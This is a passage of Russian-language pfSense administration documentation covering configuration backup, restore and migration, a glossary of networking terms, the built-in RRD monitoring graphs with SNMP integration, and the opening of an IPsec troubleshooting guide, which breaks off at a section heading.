2. Найти нужную версию конфигурации по дате и описанию
3. Нажать значок восстановления напротив выбранной версии
4. Подтвердить восстановление

### Восстановление после полной потери системы

При полной потере системы (выход диска из строя, уничтожение оборудования) процедура восстановления состоит из следующих шагов:

1. Установить pfSense на новое оборудование
2. Выполнить начальную настройку (назначение интерфейсов, базовый IP-адрес)
3. Получить доступ к веб-интерфейсу
4. Перейти в **Diagnostics > Backup & Restore**
5. Восстановить конфигурацию из файла бэкапа
6. Дождаться перезагрузки
7. Установить недостающие пакеты
8. Проверить работоспособность всех сервисов

## Миграция конфигурации между устройствами

### Миграция между устройствами с одинаковой версией pfSense

При переносе конфигурации между устройствами с одинаковой версией pfSense достаточно выполнить стандартную процедуру бэкапа и восстановления. Следует учитывать:

- Назначение интерфейсов (interface assignment) должно соответствовать новому оборудованию
- При различии сетевых адаптеров может потребоваться переназначение интерфейсов через консоль
- CARP VHID и Virtual IP требуют проверки после переноса

### Миграция между разными версиями pfSense

pfSense поддерживает восстановление конфигурации от более ранних версий с автоматической миграцией формата.

| Направление миграции | Поддержка |
|---|---|
| Старая версия на новую | Поддерживается с автоматической конвертацией |
| Новая версия на старую | Не поддерживается - возможны ошибки формата |

Рекомендуемая процедура миграции между версиями:

1. Создать бэкап на старом устройстве
2. Установить новую версию pfSense на целевое оборудование
3. Восстановить конфигурацию из бэкапа
4. Проверить журнал миграции на предмет предупреждений
5. Протестировать все критичные сервисы

### Миграция между различным оборудованием

При переносе конфигурации на оборудование с другим набором сетевых интерфейсов:

1. Восстановить конфигурацию из бэкапа
2. При запросе системы выполнить переназначение интерфейсов через консоль
3. Сопоставить физические интерфейсы нового оборудования с логическими интерфейсами конфигурации
4. Проверить корректность назначения IP-адресов на каждом интерфейсе

> **Внимание**:
>
> При несовпадении количества или типов интерфейсов между старым и новым оборудованием часть настроек может потребовать ручной корректировки. Особое внимание следует уделить правилам файрвола, привязанным к конкретным интерфейсам.

## Пакет Backup для дополнительных файлов

Стандартный бэкап config.xml не включает пользовательские файлы, размещённые вне конфигурации. Для их резервного копирования предназначен пакет **Backup**.

### Установка и настройка

1. Установить пакет **Backup** через **System > Package Manager**
2. Перейти в **Diagnostics > Backup Files/Dirs**
3. Добавить файлы и каталоги для включения в бэкап:

| Пример файлов | Назначение |
|---|---|
| /boot/loader.conf.local | Пользовательские параметры загрузки |
| /boot/device.hints | Настройки оборудования |
| /usr/local/etc/custom_scripts/ | Пользовательские скрипты |
| /var/db/pkg/ | Информация об установленных пакетах |

Файлы, добавленные через пакет Backup, включаются в основной бэкап config.xml в виде base64-закодированного содержимого.

## Устранение неполадок

### Восстановление не удаётся

| Проблема | Причина | Решение |
|---|---|---|
| Ошибка формата XML | Повреждённый файл бэкапа | Проверить целостность файла, попробовать другую версию |
| Ошибка расшифровки | Неверный пароль | Убедиться в корректности пароля шифрования |
| Интерфейсы не назначены | Различие оборудования | Выполнить переназначение через консоль |
| Пакеты не работают | Пакеты не установлены | Установить пакеты через Package Manager |

### Несовместимость версий при восстановлении

Если восстановление конфигурации от более новой версии pfSense на более старую приводит к ошибкам:

1. Установить версию pfSense, соответствующую бэкапу
2. Восстановить конфигурацию
3. При необходимости выполнить понижение версии через консоль (не рекомендуется)

### Восстановление при утрате доступа к веб-интерфейсу

Если веб-интерфейс недоступен, конфигурацию можно восстановить через консоль:

1. Подключиться к консоли (физически или через serial)
2. Выбрать опцию **15) Restore recent configuration**
3. Выбрать версию конфигурации для восстановления
4. Подтвердить восстановление

Альтернативный метод - копирование файла config.xml напрямую:

```
# Скопировать файл бэкапа на USB-накопитель
# Подключить USB к устройству pfSense
# Через shell (опция 8 в консоли):
mount /dev/da0s1 /mnt
cp /mnt/config.xml /cf/conf/config.xml
reboot
```

## Лучшие практики

### Когда создавать бэкап

| Событие | Действие |
|---|---|
| Перед любым изменением конфигурации | Создать бэкап |
| После успешного изменения | Создать бэкап |
| Перед обновлением pfSense | Создать бэкап и сохранить внешнюю копию |
| Перед установкой или обновлением пакетов | Создать бэкап |
| Регулярно (ежедневно/еженедельно) | Автоматический бэкап через cron |

### Стратегия хранения бэкапов

Рекомендуется следовать принципу 3-2-1:

- **3** копии конфигурации (основная + два бэкапа)
- **2** разных типа носителей (локальный диск + удалённый сервер)
- **1** копия в территориально удалённом расположении

### Безопасность бэкапов

| Мера | Описание |
|---|---|
| Шифрование | Всегда шифровать файлы бэкапов |
| Контроль доступа | Ограничить доступ к хранилищу бэкапов |
| Передача по защищённым каналам | Использовать SCP/SFTP вместо незащищённых протоколов |
| Раздельное хранение паролей | Пароль шифрования хранить отдельно от файла бэкапа |
| Аудит доступа | Вести журнал доступа к файлам бэкапов |

### Тестирование восстановления

Резервная копия полезна только в случае успешного восстановления. Необходимо периодически проводить тестовое восстановление:

1. Развернуть тестовый экземпляр pfSense (виртуальная машина)
2. Восстановить конфигурацию из бэкапа
3. Проверить корректность всех настроек
4. Убедиться, что все сервисы запускаются
5. Документировать результаты тестирования

Рекомендуемая периодичность тестирования - не реже одного раза в квартал.

### Документирование процедур

Для каждого межсетевого экрана следует документировать:

- Расположение файлов бэкапов и пароли шифрования (в менеджере паролей)
- Процедуру восстановления с указанием ответственных лиц
- Порядок переназначения интерфейсов при миграции на резервное оборудование
- Контактную информацию для эскалации при проблемах восстановления

## Связанные разделы

- [Управление сертификатами](/docs/pfsense/certificates/pfsense-certificate-management/) - сертификаты и ключи, хранящиеся в config.xml
- [Управление пользователями](/docs/pfsense/users/pfsense-user-management/) - учётные записи и привилегии, включённые в бэкап
- [Высокая доступность - CARP](/docs/pfsense/high-availability/pfsense-carp-setup/) - синхронизация конфигурации между узлами HA-кластера


---

# Глоссарий pfSense - термины и определения

Source: https://opennix.org/docs/pfsense/glossary/pfsense-terms/


Данный глоссарий содержит определения терминов, часто встречающихся при работе с pfSense и сетевыми технологиями. Термины расположены в алфавитном порядке. Для каждого термина указана расшифровка аббревиатуры (при наличии) и краткое определение в контексте pfSense. Дополнительные сведения по настройке отдельных функций доступны в соответствующих разделах документации: [файрвол](/docs/pfsense/firewall/pfsense-firewall-rules/), [NAT](/docs/pfsense/nat/), [VPN](/docs/pfsense/vpn/).

## A

### ACL

**Access Control List** - список правил, определяющих разрешения или запреты на доступ к сетевым ресурсам. В pfSense ACL реализованы через правила файрвола и настройки доступа отдельных сервисов (DNS Resolver, Captive Portal).

### AES-NI

**Advanced Encryption Standard - New Instructions** - набор аппаратных инструкций процессора для ускорения операций шифрования AES. pfSense использует AES-NI для повышения производительности VPN-туннелей (IPsec, OpenVPN). Наличие AES-NI рекомендуется для систем с интенсивным VPN-трафиком.

### ALTQ

**Alternate Queuing** - подсистема управления очередями трафика в ядре FreeBSD, используемая pfSense для реализации QoS. ALTQ поддерживает дисциплины PRIQ, HFSC и CBQ. Настраивается через **Firewall > Traffic Shaper**.

### ARP

**Address Resolution Protocol** - протокол канального уровня для определения MAC-адреса по известному IP-адресу в локальной сети. Таблица ARP доступна в pfSense через **Diagnostics > ARP Table**.

## B

### BGP

**Border Gateway Protocol** - протокол динамической маршрутизации между автономными системами. pfSense не поддерживает BGP из коробки, но протокол доступен через пакет FRR (Free Range Routing).

### BINAT

**Bidirectional NAT** - тип трансляции адресов, при котором внешний IP-адрес статически сопоставляется с внутренним в обоих направлениях. В pfSense настраивается как 1:1 NAT через **Firewall > NAT > 1:1**.

### Bogon

Bogon-сети - диапазоны IP-адресов, которые не должны появляться в таблицах маршрутизации интернета: приватные диапазоны (RFC 1918), зарезервированные адреса и нераспределённые блоки. pfSense автоматически обновляет список bogon-сетей и может блокировать трафик с таких адресов на WAN-интерфейсе.

## C

### CARP

**Common Address Redundancy Protocol** - протокол обеспечения отказоустойчивости через виртуальные IP-адреса, разделяемые между несколькими узлами. В pfSense CARP используется для построения [кластеров высокой доступности](/docs/pfsense/high-availability/) с автоматическим переключением на резервный узел.

### CoDel

**Controlled Delay** - алгоритм активного управления очередями (AQM) для борьбы с буферизацией (bufferbloat). В pfSense CoDel используется в лимитерах (Limiters) через **Firewall > Traffic Shaper > Limiters**.

## D

### DHCP

**Dynamic Host Configuration Protocol** - протокол автоматического назначения IP-адресов и сетевых параметров клиентам. pfSense включает встроенный DHCP-сервер, настраиваемый через **Services > DHCP Server** для каждого интерфейса.

### DMZ

**Demilitarized Zone** - изолированный сетевой сегмент для размещения публично доступных серверов. В pfSense DMZ реализуется как отдельный интерфейс (OPTn) с соответствующими правилами файрвола, ограничивающими доступ из DMZ в LAN.

### DNAT

**Destination NAT** - трансляция адреса назначения входящего пакета. В pfSense DNAT реализован как Port Forward через **Firewall > NAT > Port Forward**, перенаправляющий входящие соединения на внутренние серверы.

### DNS

**Domain Name System** - система преобразования доменных имён в IP-адреса. pfSense предоставляет DNS Resolver (Unbound) для рекурсивного разрешения и DNS Forwarder (dnsmasq) для проксирования DNS-запросов.

### DNSSEC

**DNS Security Extensions** - набор расширений DNS для защиты от подмены ответов (DNS spoofing) путём криптографической подписи записей. Поддерживается встроенным DNS Resolver (Unbound) в pfSense.

### DPD

**Dead Peer Detection** - механизм обнаружения недоступности удалённого узла в IPsec-туннеле. При обнаружении недоступности pfSense может автоматически перезапустить туннель или переключиться на резервный шлюз.

### DSCP

**Differentiated Services Code Point** - 6-битное поле в заголовке IP-пакета для маркировки приоритета трафика. pfSense использует DSCP в правилах шейпера трафика для классификации и приоритизации пакетов.

## E

### ESP

**Encapsulating Security Payload** - протокол IPsec (IP Protocol 50), обеспечивающий шифрование и аутентификацию содержимого IP-пакетов. ESP используется во всех IPsec-туннелях pfSense для защиты передаваемых данных.

## F

### FIB

**Forwarding Information Base** - таблица маршрутизации, используемая ядром для принятия решений о пересылке пакетов. pfSense поддерживает несколько FIB для реализации policy-based routing. Таблица маршрутов доступна через **Diagnostics > Routes**.

## G

### GIF

**Generic Tunnel Interface** - тип туннельного интерфейса для инкапсуляции IPv6 в IPv4 (или наоборот). В pfSense GIF-туннели создаются через **Interfaces > Assignments > GIFs** и используются для подключения к брокерам IPv6-туннелей.

### GRE

**Generic Routing Encapsulation** - протокол туннелирования для инкапсуляции произвольных сетевых протоколов внутри IP. В pfSense GRE-туннели создаются через **Interfaces > Assignments > GREs** и применяются для site-to-site соединений без шифрования.

## H

### HA

**High Availability** - высокая доступность, архитектура с резервированием для минимизации времени простоя. В pfSense HA реализуется через CARP, pfsync и XMLRPC-синхронизацию конфигурации между двумя узлами.

### HFSC

**Hierarchical Fair Service Curve** - дисциплина управления очередями трафика с поддержкой иерархических классов и гарантий пропускной способности. В pfSense HFSC является наиболее гибкой дисциплиной шейпера трафика, настраиваемой через **Firewall > Traffic Shaper**.

## I

### ICMP

**Internet Control Message Protocol** - служебный протокол сетевого уровня для передачи диагностических сообщений (ping, traceroute, destination unreachable). Правила файрвола pfSense позволяют фильтровать ICMP по типам сообщений.

### IDS/IPS

**Intrusion Detection System / Intrusion Prevention System** - система обнаружения и предотвращения вторжений. В pfSense IDS/IPS реализуется через пакеты Suricata или Snort, устанавливаемые через **System > Package Manager**.

### IKE

**Internet Key Exchange** - протокол согласования параметров безопасности и обмена ключами для IPsec. pfSense поддерживает IKEv1 и IKEv2. Параметры IKE настраиваются в Phase 1 конфигурации IPsec.

### IPsec

**Internet Protocol Security** - набор протоколов для обеспечения аутентификации и шифрования IP-трафика. pfSense поддерживает IPsec в режимах site-to-site и remote access. Настраивается через **VPN > IPsec**.

## L

### LAGG

**Link Aggregation** - объединение нескольких физических сетевых интерфейсов в один логический для увеличения пропускной способности или отказоустойчивости. pfSense поддерживает режимы LACP, failover, loadbalance и roundrobin через **Interfaces > Assignments > LAGGs**.

### Limiter

Лимитер - механизм ограничения пропускной способности на основе dummynet в pfSense. В отличие от ALTQ, лимитеры позволяют задавать ограничения per-IP и применять алгоритмы AQM (CoDel, FQ-CoDel). Настраиваются через **Firewall > Traffic Shaper > Limiters**.

## M

### MSS

**Maximum Segment Size** - максимальный размер полезной нагрузки TCP-сегмента. pfSense может принудительно ограничивать MSS (MSS clamping) для предотвращения фрагментации пакетов в VPN-туннелях и PPPoE-соединениях. Настраивается на уровне интерфейса или в правилах файрвола.

### MTU

**Maximum Transmission Unit** - максимальный размер пакета, который может быть передан через сетевой интерфейс без фрагментации. Стандартное значение для Ethernet - 1500 байт. При использовании VLAN, VPN или PPPoE MTU необходимо корректировать для учёта накладных расходов на инкапсуляцию.

## N

### NAT

**Network Address Translation** - трансляция сетевых адресов для преобразования IP-адресов при прохождении пакетов через маршрутизатор. pfSense поддерживает Port Forward, 1:1 NAT и Outbound NAT. Настраивается через **Firewall > [NAT](/docs/pfsense/nat/)**.

### NAT-T

**NAT Traversal** - механизм инкапсуляции пакетов ESP в UDP (порт 4500) для прохождения IPsec-трафика через устройства NAT. pfSense включает NAT-T автоматически при обнаружении NAT между узлами IPsec.

### NDP

**Neighbor Discovery Protocol** - протокол обнаружения соседей в IPv6, выполняющий функции ARP для IPv6-сетей (определение MAC-адресов, обнаружение маршрутизаторов, автоконфигурация). Таблица NDP доступна через **Diagnostics > NDP Table**.

### NPt

**Network Prefix Translation** - трансляция префиксов IPv6 без изменения идентификатора хоста. В pfSense NPt позволяет заменить один IPv6-префикс на другой при прохождении пакета через файрвол, сохраняя сквозную адресацию.

### NTP

**Network Time Protocol** - протокол синхронизации времени. pfSense включает встроенный NTP-сервер для синхронизации времени на устройствах в локальной сети. Настраивается через **Services > NTP**.

## O

### OSPF

**Open Shortest Path First** - протокол динамической маршрутизации на основе состояния каналов (link-state). pfSense не поддерживает OSPF из коробки, но протокол доступен через пакет FRR (Free Range Routing).

## P

### PBR

**Policy-Based Routing** - маршрутизация на основе политик, позволяющая направлять трафик через различные шлюзы в зависимости от источника, назначения или типа трафика. В pfSense PBR реализуется через назначение шлюза в правилах файрвола.

### pf

**Packet Filter** - пакетный фильтр из OpenBSD, используемый в pfSense в качестве основного механизма межсетевого экранирования. Все правила файрвола, NAT и шейпинг трафика в pfSense транслируются в правила pf.

### pfctl

Утилита командной строки для управления пакетным фильтром pf. Позволяет просматривать состояния, правила, таблицы и статистику файрвола. В pfSense доступна через **Diagnostics > Command Prompt** или SSH.

### pfsync

Протокол синхронизации таблицы состояний пакетного фильтра pf между узлами HA-кластера. pfsync обеспечивает сохранение активных соединений при переключении на резервный узел (stateful failover).

### PFS

**Perfect Forward Secrecy** - свойство протокола обмена ключами, гарантирующее, что компрометация долгосрочного ключа не приводит к раскрытию ранее установленных сеансовых ключей. В pfSense PFS настраивается в Phase 2 конфигурации IPsec.

### PPPoE

**Point-to-Point Protocol over Ethernet** - протокол установления точка-точка соединений поверх Ethernet, широко используемый провайдерами для DSL и FTTB подключений. pfSense поддерживает PPPoE как тип WAN-подключения и может выступать PPPoE-сервером.

### PRIQ

**Priority Queuing** - простейшая дисциплина управления очередями в ALTQ с фиксированными приоритетами. Пакеты из очереди с более высоким приоритетом всегда обрабатываются первыми. Настраивается через **Firewall > Traffic Shaper**.

## Q

### QoS

**Quality of Service** - набор механизмов для управления приоритетами и полосой пропускания сетевого трафика. В pfSense QoS реализуется через [шейпер трафика](/docs/pfsense/traffic-shaper/) (ALTQ) и лимитеры (dummynet).

## R

### RADIUS

**Remote Authentication Dial-In User Service** - протокол централизованной аутентификации, авторизации и учёта (AAA). pfSense поддерживает RADIUS как источник аутентификации для VPN, Captive Portal и административного доступа.

### RRD

**Round-Robin Database** - формат хранения временных рядов с фиксированным размером файла. pfSense использует RRD для хранения исторических данных мониторинга (графики трафика, качества каналов, загрузки системы) в **Status > Monitoring**.

## S

### SA

**Security Association** - набор согласованных параметров безопасности (алгоритмы, ключи, время жизни) для IPsec-соединения. Каждый IPsec-туннель устанавливает пару SA - одну для каждого направления трафика.

### SLAAC

**Stateless Address Autoconfiguration** - механизм автоматического назначения IPv6-адресов на основе Router Advertisement без использования DHCPv6. Устройство генерирует адрес из сетевого префикса и собственного идентификатора интерфейса.

### SNAT

**Source NAT** - трансляция адреса источника исходящего пакета. В pfSense SNAT реализован через Outbound NAT (**Firewall > NAT > Outbound**), который по умолчанию подменяет адрес источника на адрес WAN-интерфейса.

### STP

**Spanning Tree Protocol** - протокол предотвращения петель в сетях с избыточными соединениями на канальном уровне. pfSense поддерживает STP на мостовых (bridge) интерфейсах для предотвращения широковещательных штормов.

### Suricata

Многопоточная система обнаружения и предотвращения вторжений (IDS/IPS), доступная в pfSense как дополнительный пакет. Suricata анализирует сетевой трафик в реальном времени на соответствие сигнатурам угроз и может блокировать вредоносные соединения.

## V

### VHID

**Virtual Host ID** - идентификатор виртуального хоста CARP (1-255). Каждый виртуальный IP-адрес CARP должен иметь уникальный VHID в пределах широковещательного домена. VHID должен совпадать на всех узлах [HA-кластера](/docs/pfsense/high-availability/) для одного виртуального IP.

### VLAN

**Virtual Local Area Network** - технология логического разделения физической сети на изолированные сегменты на канальном уровне (стандарт IEEE 802.1Q). pfSense поддерживает создание VLAN-интерфейсов через **Interfaces > Assignments > VLANs**.

### VPN

**Virtual Private Network** - виртуальная частная сеть, обеспечивающая защищённое соединение через публичную сеть. pfSense поддерживает IPsec, OpenVPN, WireGuard и L2TP.

### VTI

**Virtual Tunnel Interface** - виртуальный туннельный интерфейс для маршрутизируемых IPsec-туннелей. VTI позволяет применять правила файрвола и маршрутизацию непосредственно к IPsec-трафику, упрощая конфигурацию по сравнению с политиками Phase 2.

## X

### XMLRPC

**Extensible Markup Language Remote Procedure Call** - протокол удалённого вызова процедур на основе XML через HTTP. pfSense использует XMLRPC для синхронизации конфигурации между узлами HA-кластера (правила файрвола, NAT, алиасы, DHCP и другие настройки).


---

# Графики мониторинга pfSense - трафик и ресурсы

Source: https://opennix.org/docs/pfsense/monitoring/pfsense-monitoring-graphs/


pfSense включает встроенную систему мониторинга производительности на основе RRD (Round-Robin Database). Система автоматически собирает метрики с момента установки - никакой дополнительной конфигурации не требуется. Данные хранятся в файлах RRD фиксированного размера, что исключает неконтролируемый рост потребления дискового пространства. Старые записи постепенно агрегируются и замещаются новыми, сохраняя при этом общую картину за длительный период.

Графики доступны через **Status > Monitoring** и отображают данные по множеству категорий - от пропускной способности интерфейсов до загрузки процессора и состояния таблицы соединений файрвола.

## Виджеты Dashboard

Главная страница pfSense (**Dashboard**) предоставляет виджеты для оперативного мониторинга без перехода в раздел графиков. Управление виджетами осуществляется через значок **+** в заголовке Dashboard.

### System Information

Виджет отображает общую информацию о системе в реальном времени:

- **Имя хоста и версия** - имя системы, версия pfSense и базовой ОС FreeBSD
- **Процессор** - модель, частота, количество ядер и текущая загрузка в процентах
- **Память** - общий объём RAM и текущее потребление
- **Диск** - использование дискового пространства по разделам
- **Uptime** - время работы системы с последней перезагрузки
- **Температура** - температура CPU (при наличии поддержки датчиков)

### Traffic Graphs

Виджет визуализирует трафик в реальном времени на выбранном интерфейсе. Отображаются входящий и исходящий потоки с указанием текущей скорости в bit/s или Byte/s. Интервал обновления и масштаб графика настраиваются через параметры виджета.

### Interface Statistics

Виджет предоставляет числовые показатели по каждому сетевому интерфейсу:

| Показатель | Описание |
|---|---|
| Bytes In/Out | Объём переданных и полученных данных |
| Packets In/Out | Количество переданных и полученных пакетов |
| Errors In/Out | Количество ошибок на интерфейсе |
| Collisions | Количество коллизий (для Ethernet) |

### Gateways

Виджет отображает статус каждого настроенного шлюза: IP-адрес, время отклика (RTT), потерю пакетов и текущее состояние (Online, Warning, Down).

## Графики мониторинга (Status > Monitoring)

Основной интерфейс графиков доступен через **Status > Monitoring**. По умолчанию отображается график загрузки процессора. Настройки графиков позволяют переключать категории, временные периоды и комбинировать данные на двух осях.

### Категории графиков

pfSense предоставляет графики по следующим категориям:

#### System

Графики системных ресурсов включают:

- **CPU Usage** - загрузка процессора по типам: user, system, interrupt, nice, idle. Позволяет выявить процессы, создающие чрезмерную нагрузку. Постоянная загрузка выше 80% указывает на необходимость оптимизации правил файрвола или увеличения ресурсов
- **Memory Usage** - использование оперативной памяти: active, inactive, wired, cached, free. pfSense на FreeBSD активно использует кэширование, поэтому низкое значение free не обязательно указывает на проблему
- **States** - количество записей в таблице состояний файрвола. Резкий рост может свидетельствовать о сканировании портов, DDoS-атаке или некорректной работе приложения
- **MBUF Clusters** - использование буферов памяти ядра для сетевых операций. Исчерпание MBUF приводит к потере пакетов

#### Traffic

Графики пропускной способности по каждому интерфейсу:

- **Traffic** - скорость входящего и исходящего трафика (bit/s). Доступен для каждого интерфейса отдельно - WAN, LAN, OPTx, VPN-туннели
- **Packets** - количество пакетов в секунду (pps) по интерфейсам. Полезно для выявления атак с малым размером пакетов, которые создают высокую нагрузку при незначительном объёме трафика в bit/s

#### Quality

Графики качества связи для каждого шлюза:

- **Quality** - время отклика (latency) и потеря пакетов (packet loss) до целевого хоста мониторинга шлюза. Значения определяются параметрами мониторинга, настроенными в **System > Routing > Gateways**
- Графики качества критически важны для Multi-WAN конфигураций - они позволяют отследить деградацию канала до момента переключения на резервный шлюз

#### Captive Portal

Графики активности Captive Portal: количество одновременных подключений, пропускная способность и статистика аутентификации.

#### NTP

Графики точности синхронизации времени: смещение (offset) и задержка (delay) относительно серверов NTP.

#### Queue / Queuedrops

Графики работы Traffic Shaper:

- **Queue** - объём трафика, прошедшего через каждую очередь
- **Queuedrops** - количество отброшенных пакетов по очередям. Высокое значение drops указывает на недостаточную ширину канала для данной очереди

#### DHCP

Графики активности DHCP сервера: количество выданных аренд, запросов и отказов.

#### Cellular

Графики сотовых интерфейсов (при наличии): уровень сигнала, тип подключения (3G/4G/LTE).

#### Wireless

Графики беспроводных интерфейсов (при наличии): количество клиентов, уровень сигнала, шум.

#### VPN Users

Графики количества активных VPN-подключений по типам (OpenVPN, IPsec, WireGuard).

### Временные периоды

Система поддерживает следующие предустановленные периоды отображения:

| Период | Разрешение | Применение |
|---|---|---|
| 1 час | Максимальное (секунды) | Диагностика текущих проблем |
| 8 часов | Высокое | Анализ рабочего дня |
| 1 день | Среднее | Суточные паттерны |
| 1 неделя | Среднее | Недельные тренды |
| 1 месяц | Низкое | Месячные тенденции |
| 1 год | Минимальное | Долгосрочное планирование |

Разрешение графиков автоматически снижается по мере увеличения временного периода - это обусловлено механизмом агрегации RRD. Данные за последний час представлены с максимальной детализацией, тогда как годовые графики отображают усреднённые значения.

В нижней части графика выводятся имя хоста, выбранный период и разрешение данных.

### Настройка отображения

Графики поддерживают комбинирование категорий на двух осях:

- **Левая ось** - основная метрика (например, Traffic WAN)
- **Правая ось** - дополнительная метрика для сравнения (например, CPU Usage)

Легенда графика расположена в верхнем правом углу. Нажатие на источник данных в легенде скрывает его с графика - это полезно, когда пиковые значения одной метрики сжимают масштаб и затрудняют чтение остальных.

Под графиком отображается таблица со статистическими данными: минимум, среднее, максимум, текущее значение и 95-й процентиль (для трафика).

> **Внимание**:
>
> Итоговые суммы (totals) не отображаются, поскольку формат хранения RRD не позволяет вычислить точные итоговые значения. Для подсчёта суммарного объёма трафика следует установить пакет **Status Traffic Totals** через **System > Package Manager**.

## Мониторинг трафика по интерфейсам

Каждый сетевой интерфейс pfSense имеет собственный набор графиков трафика. Это позволяет контролировать:

- **WAN** - общий объём трафика из интернета, выявление аномальных пиков
- **LAN** - внутрисетевой трафик, идентификация активных потребителей полосы пропускания
- **OPTx** - трафик дополнительных интерфейсов (DMZ, гостевые сети, серверные VLAN)
- **VPN** - трафик через туннели OpenVPN, IPsec, WireGuard

Для сравнения трафика нескольких интерфейсов следует использовать функцию двух осей или открыть графики в нескольких вкладках браузера.

## Экспорт данных RRD

Данные мониторинга хранятся в файлах RRD в каталоге `/var/db/rrd/`. Экспорт данных возможен несколькими способами:

### Резервное копирование через GUI

Файлы RRD включаются в резервную копию конфигурации при создании бэкапа через **Diagnostics > Backup & Restore** с включённой опцией RRD data.

### Экспорт через командную строку

Для экспорта данных в формат XML следует использовать утилиту `rrdtool`:

```bash
rrdtool dump /var/db/rrd/wan-traffic.rrd > wan-traffic.xml
```

### NetFlow

Для детального анализа трафика с разбивкой по IP-адресам, портам и протоколам следует использовать пакет **softflowd**, экспортирующий данные NetFlow на внешний коллектор (ntopng, Elastiflow, ManageEngine NetFlow Analyzer).

## Внешний мониторинг через SNMP

pfSense поддерживает протокол SNMP для интеграции с внешними системами мониторинга. Настройка выполняется через **Services > SNMP**.

### Конфигурация SNMP

Основные параметры:

- **Enable SNMP Daemon** - активация службы SNMP
- **System Location / Contact** - информационные поля для идентификации устройства
- **Read Community String** - строка доступа для чтения (по умолчанию public - необходимо изменить)
- **SNMP Modules** - выбор модулей: MibII, Netgraph, PF, Host Resources, UCD
- **Bind Interface** - интерфейс, на котором принимаются SNMP-запросы (следует ограничить LAN или управляющим интерфейсом)

> **Внимание**:
>
> Строку community по умолчанию (public) необходимо изменить на уникальное значение. Открытый SNMP с community public - распространённый вектор атаки для разведки сети.

### Интеграция с системами мониторинга

pfSense через SNMP интегрируется со следующими платформами:

| Платформа | Протокол | Особенности |
|---|---|---|
| Zabbix | SNMP v2c/v3 | Готовые шаблоны для pfSense, мониторинг интерфейсов и CPU |
| LibreNMS | SNMP v2c/v3 | Автообнаружение, графики трафика, оповещения |
| PRTG | SNMP v2c/v3 | Сенсоры для пропускной способности и загрузки системы |
| Nagios/Icinga | SNMP v2c/v3 | Проверки через check_snmp, интеграция с PNP4Nagios |

### Prometheus и Grafana

Для интеграции с Prometheus и визуализации в Grafana используется пакет **Telegraf** (устанавливается через **System > Package Manager**). Telegraf собирает системные метрики и экспортирует их в формате, совместимом с Prometheus.

Альтернативный вариант - использование SNMP Exporter для Prometheus, который извлекает метрики pfSense через SNMP и предоставляет их в формате Prometheus metrics.

Типовой стек мониторинга:

```
pfSense (SNMP/Telegraf) --> Prometheus --> Grafana
```

## Устранение неполадок графиков

### Графики пустые или отображают нулевые значения

Возможные причины:

1. **Недостаточно данных** - после перезагрузки или свежей установки графикам требуется время для накопления данных. Графики за 1 час заполняются в течение нескольких минут, годовые - в течение суток
2. **Повреждение файлов RRD** - перезагрузка во время записи может повредить файл. Решение: удалить повреждённый файл из `/var/db/rrd/` - система создаст новый автоматически
3. **RAM-диск для /var** - при использовании RAM-диска данные RRD теряются после перезагрузки. pfSense выполняет периодическое сохранение RRD на постоянное хранилище, однако данные между последним сохранением и перезагрузкой будут утеряны

### Потеря данных RRD после перезагрузки

При использовании RAM-диска для `/var` (типично для установок на CF-карту или SSD с минимизацией записи):

- pfSense автоматически сохраняет RRD-данные на постоянное хранилище через настраиваемый интервал
- При некорректном завершении работы (отключение питания) данные с момента последнего сохранения теряются
- Рекомендуется использовать UPS и выполнять корректное завершение работы через **Diagnostics > Halt System**

### Расхождение данных графиков и реального трафика

RRD графики отображают усреднённые значения. Кратковременные пики трафика могут не отображаться на графиках с низким разрешением (неделя, месяц, год). Для точного анализа следует использовать графики с минимальным периодом (1 час, 8 часов).

## Связанные разделы

- [Системные логи pfSense](/docs/pfsense/monitoring/pfsense-system-logs/) - журналы событий для детального анализа инцидентов, зафиксированных на графиках
- [Инструменты диагностики pfSense](/docs/pfsense/monitoring/pfsense-diagnostics/) - утилиты для углублённого анализа сетевых проблем
- [Traffic Shaper](/docs/pfsense/traffic-shaper/) - настройка приоритизации трафика, статистика которой отображается на графиках Queue/Queuedrops


---

# Диагностика IPsec VPN в pfSense - устранение неполадок

Source: https://opennix.org/docs/pfsense/vpn/ipsec/pfsense-ipsec-troubleshooting/


IPsec - протокол с жёсткими требованиями к совпадению параметров на обеих сторонах туннеля. Несоответствие даже одного параметра (алгоритм шифрования, группа DH, маска подсети) приводит к отказу в установлении соединения, причём сообщения об ошибках не всегда указывают на первопричину. Систематический подход к диагностике позволяет сократить время поиска проблемы с часов до минут.

Данное руководство описывает методологию диагностики IPsec VPN в pfSense: от включения отладочных логов до анализа конкретных сообщений об ошибках. Материал применим как к site-to-site, так и к mobile client конфигурациям.

## Включение отладочных логов

По умолчанию pfSense записывает в журнал IPsec только базовые события. Для детальной диагностики необходимо увеличить уровень логирования.

### Настройка уровня логирования

Перейдите в **VPN > IPsec > Advanced Settings** и настройте параметры логирования:

| Параметр | Рекомендуемый уровень | Назначение |
|---|---|---|
| IKE SA | Diag | Детальная информация о согласовании Phase 1 |
| IKE Child SA | Diag | Детальная информация о согласовании Phase 2 |
| Configuration Backend | Diag | Загрузка конфигурации и параметров |
| IKE Network Events | Control | Сетевые события (подключения, разрывы) |
| IKE Message Encoding | Control | Кодирование и декодирование IKE-сообщений |
| IKE Manager | Control | Управление IKE SA |
| все остальные | Control | Стандартный уровень |

Нажмите **Save**. Изменение уровня логирования не прерывает существующие IPsec-туннели.

> **Внимание**:
>
> Уровень Diag генерирует значительный объём логов. После завершения диагностики рекомендуется вернуть уровни к Control, чтобы избежать заполнения дискового пространства.

### Просмотр логов

Логи IPsec доступны в **Status > System Logs > IPsec**. Для фильтрации используйте поле поиска в верхней части страницы.

Для просмотра логов в реальном времени через командную строку:

```bash
# Real-time IPsec log monitoring
clog -f /var/log/ipsec.log

# Filter for specific peer IP
clog -f /var/log/ipsec.log | grep "203.0.113.10"

# Filter for errors only
clog -f /var/log/ipsec.log | grep -i "error\|failed\|no proposal"
```

### Ключевые индикаторы в логах

Следующие записи указывают на успешное или неуспешное согласование:

| Запись в логе | Значение |
|---|---|
| `IKE_SA ... established` | Phase 1 успешно установлена |
| `CHILD_SA ... established` | Phase 2 успешно установлена, туннель активен |
| `received NO_PROPOSAL_CHOSEN` | Удалённая сторона отклонила предложенные параметры |
| `received AUTHENTICATION_FAILED` | Ошибка аутентификации (PSK или сертификат) |
| `no matching CHILD_SA config found` | Несовпадение подсетей (Traffic Selectors) |
| `giving up after N retransmits` | Удалённая сторона не отвечает |
| `peer didn't accept any proposal` | Ни один из предложенных наборов параметров не подошёл |

## Типичные ошибки Phase 1

